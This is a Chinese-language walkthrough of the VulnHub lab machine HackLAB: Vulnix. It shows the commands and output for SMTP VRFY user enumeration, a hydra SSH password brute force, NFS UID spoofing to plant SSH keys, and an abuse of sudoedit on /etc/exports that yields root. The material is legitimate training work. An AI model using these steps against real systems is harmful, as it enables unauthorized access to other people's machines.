【Vulnhub通关】HackLAB:Vulnix


准备工作

靶机基本信息

靶机名称:HackLAB Vulnix

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(手动设置)

渗透测试目标:获取靶机root权限并找到名为trophy的文件

下载地址: 1. HackLAB: Vulnix ~ VulnHub

2. HackLAB_Vulnix.7z_免费高速下载|百度网盘-分享无限制


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机IP地址发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以确定MAC设备名一栏为VMware, Inc.的一项即为靶机,IP地址为192.168.2.107

防火墙检测

下面对靶机的防火墙情况进行检测。首先检测ICMP连通性:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.107
PING 192.168.2.107 (192.168.2.107) 56(84) bytes of data.
64 bytes from 192.168.2.107: icmp_seq=1 ttl=64 time=2.03 ms
64 bytes from 192.168.2.107: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.2.107: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.2.107: icmp_seq=4 ttl=64 time=0.984 ms

--- 192.168.2.107 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.984/1.263/2.029/0.442 ms

发现可以连通靶机。使用Nmap工具检测防火墙:

shell 复制代码
nmap -sF -T4 -p- 192.168.2.107

很好,看来在渗透过程当中大概率不需要担心防火墙问题。

网络服务扫描

确定了靶机的防火墙状态之后,我们就可以使用nmap对靶机进行网络服务和操作系统的探测。

shell 复制代码
# TCP SYN半开放扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.107

从中可以得知以下信息:

端口 传输层协议 应用层协议 详细信息
22 TCP SSH OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25 TCP SMTP Postfix smtpd
79 TCP Finger(用户信息查询协议) Linux fingerd
110 995 TCP POP3 ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
111 TCP RPC rpcbind 2-4 (RPC #100000)
143 993 TCP IMAP Dovecot imapd
512 513 TCP 未知 未知
514 TCP 未知 被应用层防火墙阻断
2049 35606 41352 42439 46640 54966 TCP NFS 2-3 (RPC #100227) 1-4 (RPC #100021) 1-3 (RPC #100005) 1-3 (RPC #100005) 1 (RPC #100024) 1-3 (RPC #100005)

同时得知靶机上操作系统为Ubuntu Linux,内核版本为Linux 2.6.32 - 3.10


服务探测

SSH服务(22端口)

先尝试通过SSH连接一下靶机,看看会不会发生什么奇怪的事情(文本信息提示):

shell 复制代码
ssh root@192.168.2.107

看来靶机的SSH没有给出提示文本。通过nc工具确定一下Banner信息:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 192.168.2.107 22 
(UNKNOWN) [192.168.2.107] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1
^C

邮件服务

从网络服务扫描阶段得知,靶机的25110143993995端口为邮件服务端口。下面对其进行探测扫描。

首先使用Nmap脚本探测SMTP服务(25端口):

shell 复制代码
nmap --script=*smtp* -p 25 192.168.2.107

从中我们可以获得以下信息:

  • smtp-enum-users脚本无法枚举用户
  • 邮件服务器并未使用Exim软件,无法使用CVE漏洞攻击 (因为Exploit DB中的大部分有效漏洞都是Exim的)
  • 靶机的SMTP服务支持以下命令:vulnixPIPELININGSIZEVRFYETRNSTARTTLSENHANCEDSTATUSCODES8BITMIMEDSN

其中,最有价值的SMTP命令为VRFY该命令接收一个SMTP用户名参数,并向服务器查询该用户是否存在,若输入的用户名存在则返回状态码252,否则返回状态码550 。也就是说,我们只需要提供字典,就可以通过该命令对服务器的SMTP用户列表进行暴力破解。

这里我们通过Kali Linux自带的smtp-enum-users工具进行破解,字典选用/usr/share/wordlists/metasploit下的unix_users.txt。该字典包含了大量Linux操作系统上常见的用户名。

爆破命令如下:

shell 复制代码
# -M  指定SMTP爆破命令
# -U  指定用户名字典
# -t  指定目标
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.2.107 > ./smtp用户扫描结果.txt 

发现了28个账户。其中rootROOTuser账户比较显眼。除了root账户,判断它们是使用者而非系统建立的。

NFS文件共享服务

共享文件探测

根据Nmap的扫描结果,NFS网络共享服务使用了204935606413524243946640549666个端口。我们可以通过showmount命令查看靶机的哪些目录被共享:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# showmount -e 192.168.2.107                                                                                        
Export list for 192.168.2.107:
/home/vulnix *

可以看到靶机上很有可能存在一个名为vulnix的账户,而且它的家目录被共享了出来。

尝试使用SMTP邮件服务的VRFY命令验证用户是否存在:

果然。。。。。。

NFS服务简介

NFS,Network File System,中文为网络文件系统 。NFS服务的作用就是将服务器的文件以文件系统的形式共享给多个用户NFS服务依赖于RPC协议

下面举一个比较常见的案例:在网吧或者数据中心中,管理员通常在一台中心服务器上安装NFS服务。中心服务器上共享的是局域网内所有主机的所有用户的个人目录 ,这样就可以节省单台主机的数据存储成本。而如果在客户端内查看当前用户的个人目录,会发现它在肉眼上和普通的目录没有区别,但实际上该目录是由NFS服务挂载的网络共享目录

NFS服务进程

NFS网络文件系统会启动4个子服务:

  • portmapper,作用为RPC程序号解释为本机的网络端口号 。当客户端向其发起查询请求时,它会返回NFS mountd服务注册的端口号
  • mountd,NFS的访问控制程序 。作用为检查客户机是否在NFS的访问控制列表内,并向客户端连接发放令牌
  • idmapd,NFS的用户账号集中映射程序 。作用为识别客户机和服务器的系统账号信息
  • nfsd,NFS的主进程。作用为向服务器内核发送文件系统指令并返回执行结果

NFS工作流程

NFS客户端向服务器发送一次请求的完整流程如下:

  1. 本地用户查看网络目录文件,发送list指令到客户机内核
  2. 客户机内核识别出该目录为NFS网络共享目录,随即发送RPC数据包,向服务器的111号端口查询服务器NFS mountd服务注册的端口号
  3. 服务器接收了客户机的查询指令,返回了mountd服务的端口号。
  4. 客户机向服务器的mountd服务端口发送访问请求
  5. 服务器的mountd服务接收到客户机的访问请求后,首先查询访问控制列表 ,若客户机允许访问,则创建访问令牌并将其返回给客户机
  6. 客户机带访问令牌访问nfsd主服务nfsd主服务校验令牌后 发送list指令到服务器内核并向客户机返回执行结果。若客户机用户UIDGID经集中映射后,和要访问的文件所有者UIDGID信息不一致,则返回拒绝访问。
  7. 客户机内核接收到执行结果后,将其返回至用户Shell。流程结束。

NFS安全问题

我们都知道,NFS服务只是根据客户机发送的UIDGID信息进行文件权限识别。但是如果有一台恶意机器通过已经泄露的UIDGID信息访问甚至向服务器上传或覆盖文件呢?

一般情况下,只要在恶意机器中创建一个和服务器文件所有者相同UIDGID的账户,就可以对服务器文件进行读写,如果允许的话。这样攻击者就可以对机器进行渗透甚至提权。

Finger服务(79端口)

Linux Finger服务介绍

Finger是一个用于获取本地或远程计算机用户信息的Linux服务 。当在本地主机执行finger命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理。如果指定要查看的具体用户名,将会返回更加详细的信息。

命令格式:

shell 复制代码
# 一般格式: finger [选项] [用户名@主机名] (最详细信息)
finger root
finger root@192.168.2.107

Finger用户信息探查

既然靶机开放了Finger服务,那我们就顺带探查一下用户基本信息:

shell 复制代码
finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data}@192.168.2.107 

但是没有发现什么有价值的信息:

针对靶机的服务探测结束,下面进入渗透测试部分


渗透测试

SSH爆破

通过前面的服务探测,我们已经得知了SMTP服务器中有不少于28个用户。而这些已经发现的用户同时大概率是靶机操作系统中的用户 。既然已经得知了用户列表,那么我们就可以挑选一些高价值的目标用户进行SSH暴力破解。

经过一番筛选,挑选出了4个用户进行爆破:rootROOTuservulnix(对NFS服务进行探查时发现) 。字典文件选用/usr/share/wordlists/metasploit/unix_passwords.txt

注意将4个用户名一行一个保存在文本文件内

shell 复制代码
hydra -L ./userlist -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.2.107 

经过接近1小时的爆破后,我们成功找到了user用户的密码:

登录信息如下:

  • 用户名:user
  • 密码:letmein

尝试使用Termius软件登录SSH:

成功!!!

直接使用passwd改密码:

shell 复制代码
user@vulnix:~$ passwd
Changing password for user.
(current) UNIX password: *******
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

对靶机的渗透测试结束,进入权限提升部分


权限提升

本地信息收集

进入靶机之后,首先进行对靶机操作系统的信息收集。为了方便,这里首先使用自动化工具LinPeas进行扫描收集。GitHub地址:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

将下载好的linpeas.sh通过Termius软件上传到靶机后,赋予执行权限并运行:

shell 复制代码
chmod 777 ./linpeas.sh
./linpeas.sh

下面展示收集到的部分关键信息:

靶机系统基本信息

得知靶机操作系统为Ubuntu 12.04.1 LTS,内核版本为3.2.0-29-generic-pae

Sudo版本信息

Text 复制代码
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.3p1

用户环境变量信息

可用的提权漏洞

  • dirty_cow:CVE-2016-5195
  • exploit-x:CVE-2018-14665
  • msr:CVE-2013-0268
  • perf_swevent:CVE-2013-2094

系统进程信息

系统计划任务

Text 复制代码
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

网络端口状态

Linux用户和组列表

特殊权限文件

看了一圈,并没有什么值得注意的地方。突然想到靶机有NFS文件系统服务,而且它共享了用户vulnix的家目录。为什么不试试NFS提权?

查看用户vulnixUID和其所属组的GID,发现为2008:2008。既然如此,我们直接在本地创建一个UID和GID均为2008的用户对NFS进行挂载即可。

尝试挂载NFS提权

首先在Kali Linux中执行以下命令,创建恶意NFS用户并建立挂载目录进行挂载:

shell 复制代码
groupadd -g 2008 nfsattack
adduser --uid 2008 --gid 2008 nfsattack
mkdir /mnt/vulnix_nfs
chown -hR nfsattack:nfsattack /mnt/vulnix_nfs
mount -t nfs 192.168.2.107:/home/vulnix /mnt/vulnix_nfs

进入目录/mnt/vulnix,通过ls -lA命令查看文件:

发现几乎什么也没有。尝试创建文件:

成功!

既然如此,我们就直接创建SSH配置文件夹并上传公钥文件

首先切换至原用户,使用ssh-keygen命令生成公私钥,并将公钥文件改名为authorized_keys上传,权限为600

shell 复制代码
exit
ssh-keygen
cat ~/.ssh/id_rsa.pub > /home/nfsattack/authorized_keys
su nfsattack
cd /mnt/vulnix_nfs
mkdir .ssh
cat ~/authorized_keys > ./.ssh/authorized_keys
chmod 600 ./.ssh/*

随后打开Termius的设置面板,点击Keychain一项,将生成的SSH公私钥信息添加进去:

编辑SSH连接信息,用户名填入vulnix,选择公钥连接,密码为空 ,点击Connect按钮:

成功!!

使用sudo -l命令查看该用户是否有Sudo权限,发现该用户可以无密码修改NFS配置文件/etc/exports

直接执行命令:

shell 复制代码
sudoedit /etc/exports

修改NFS配置,令其共享/root目录,这样我们就可以针对root用户上传SSH公钥信息。修改完毕之后这里要手动重启虚拟机。。。。

重启之后,使用攻击机的root用户重新挂载并访问/mnt/vulnix_nfs共享目录:

shell 复制代码
mount -t nfs 192.168.2.107:/root /mnt/vulnix_nfs
cd vulnix_nfs
ls -lA

和之前的操作一样,将本机用户的SSH公钥直接上传:

shell 复制代码
mkdir .ssh
cd .ssh
cat ~/.ssh/id_rsa.pub > ./authorized_keys
chmod 600 ./authorized_keys

Termius软件中将SSH用户名修改为root,其它保持不变,直接连接:

提权成功!!!!


Flag展示

文件名:trophy.txt
文件大小:33.00Bytes
MD5:67d6604128f3f1acbe9ee33ca00d8586
SHA256:5ceb3bdd0fe791d2b51b74c51b08863dbbf746728b320e1d572b95a0b887c646

文件内容截图如下:


本次靶机渗透到此结束

相关推荐
云云32111 分钟前
云手机:Facebook多账号管理的创新解决方案
服务器·线性代数·安全·智能手机·架构·facebook
?333332 小时前
CTFHub Web进阶-PHP-Bypass disable_function攻略
开发语言·安全·web安全·php
ai产品老杨3 小时前
报警推送消息升级的名厨亮灶开源了。
vue.js·人工智能·安全·开源·音视频
为几何欢5 小时前
【hackmyvm】soul靶机wp
安全·网络安全·渗透·hackmyvm·hmv
云云3219 小时前
云手机服务器如何做到群控多台手机的?
服务器·线性代数·安全·智能手机·矩阵
m0_7482552610 小时前
前端安全——敏感信息泄露
前端·安全
网络安全Jack10 小时前
什么是网络安全等级保护?
网络·安全·web安全
Dovir多多11 小时前
Python数据处理——re库与pydantic的使用总结与实战,处理采集到的思科ASA防火墙设备信息
网络·python·计算机网络·安全·网络安全·数据分析